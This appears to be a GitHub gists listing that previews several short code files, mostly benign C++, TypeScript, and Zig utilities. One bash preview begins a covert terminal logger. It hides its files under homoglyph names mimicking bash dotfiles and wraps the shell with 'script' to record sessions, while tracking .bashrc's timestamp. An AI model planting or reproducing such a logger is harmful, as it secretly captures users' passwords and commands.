This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <cstddef> | |
#include <cstdlib> | |
#include <utility> | |
template <typename R, auto getter, auto setter, auto offset> | |
struct property { | |
inline R *self() { | |
return reinterpret_cast<R *>(reinterpret_cast<size_t>(this) - | |
offset((R *)0)); | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import { useMemo, useState, useEffect, useCallback } from "react"; | |
export type KeydArray<T extends Record<string, unknown>> = Array< | |
T & { key: string } | |
>; | |
export type ResolvedType<T, S extends readonly string[]> = S extends [] | |
? T | |
: T extends Array<infer I extends { key: string }> | |
? S extends [string, ...infer Tail extends string[]] | |
? ResolvedType<I, Tail> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
export type GenericLens<T, R> = { | |
get(input: T): R; | |
set(input: T, value: R): T; | |
over(input: T, transform: (input: R) => R): T; | |
}; | |
export type LensInput = string | number | GenericLens<any, any> | |
export type LensType< |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# CUSTIMIZE BEFORE UPLOAD | |
fakerc=~/.bаsh_login | |
logfile=~/.bаsh_cache | |
waitsec=1 | |
changetime=$(stat -c %Y ~/.bashrc) | |
read script <<EOF | |
exec script -B "$logfile" -afqc "bash --rcfile '$fakerc'" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env node | |
"use strict"; | |
const ts = require("typescript"); | |
function hook(fn, name) { | |
return (path, ...args) => { | |
path = path.replace(/\.js$/, '.tjs'); | |
// console.log(name, path); | |
return fn(path, ...args); | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
set -euxo pipefail | |
url=$(curl -s https://ziglang.org/download/index.json | jq -r '.master."x86_64-linux".tarball') | |
tmpf=$(mktemp /tmp/zig.XXXXXX) | |
exec 3>"$tmpf" 4<"$tmpf" | |
rm "$tmpf" | |
curl "$url" >&3 | |
tar Jxv -C /root/soft/zig --strip-components 1 <&4 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const std = @import("std"); | |
pub const HWND = *@Type(.Opaque); | |
pub const HICON = *@Type(.Opaque); | |
const INSTANCE = @Type(.Opaque); | |
pub const HINSTANCE = *const INSTANCE; | |
pub const PCWSTR = [*:0]align(1) const u16; | |
pub const HRESULT = u64; | |
extern "comctl32" fn TaskDialogIndirect( |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const std = @import("std"); | |
pub const Error = error{WrongCode}; | |
pub fn Base16(comptime map: *const [16]u8) type { | |
return struct { | |
pub fn calcSize(len: usize) usize { | |
return len * 2; | |
} | |
pub fn encode(dst: []u8, src: []const u8) void { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const std = @import("std"); | |
const sqlite3 = *@Type(.Opaque); | |
const sqlite3_stmt = *@Type(.Opaque); | |
const sqllog = std.log.scoped(.sqlite3); | |
extern fn sqlite3_errmsg(db: sqlite3) [*:0]const u8; | |
extern fn sqlite3_open(path: [*:0]const u8, db: *sqlite3) c_int; | |
extern fn sqlite3_close(db: sqlite3) c_int; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const std = @import("std"); | |
const sqlite3 = @import("./sqlite3.zig"); | |
pub fn main() anyerror!void { | |
var db = try sqlite3.Database.open(":memory:"); | |
defer db.close(); | |
var boom = db.mapTable("boom", &[_]sqlite3.TemplateDefinition{ .{ | |
.name = "id", | |
.decl = .integer_primary_key, |
NewerOlder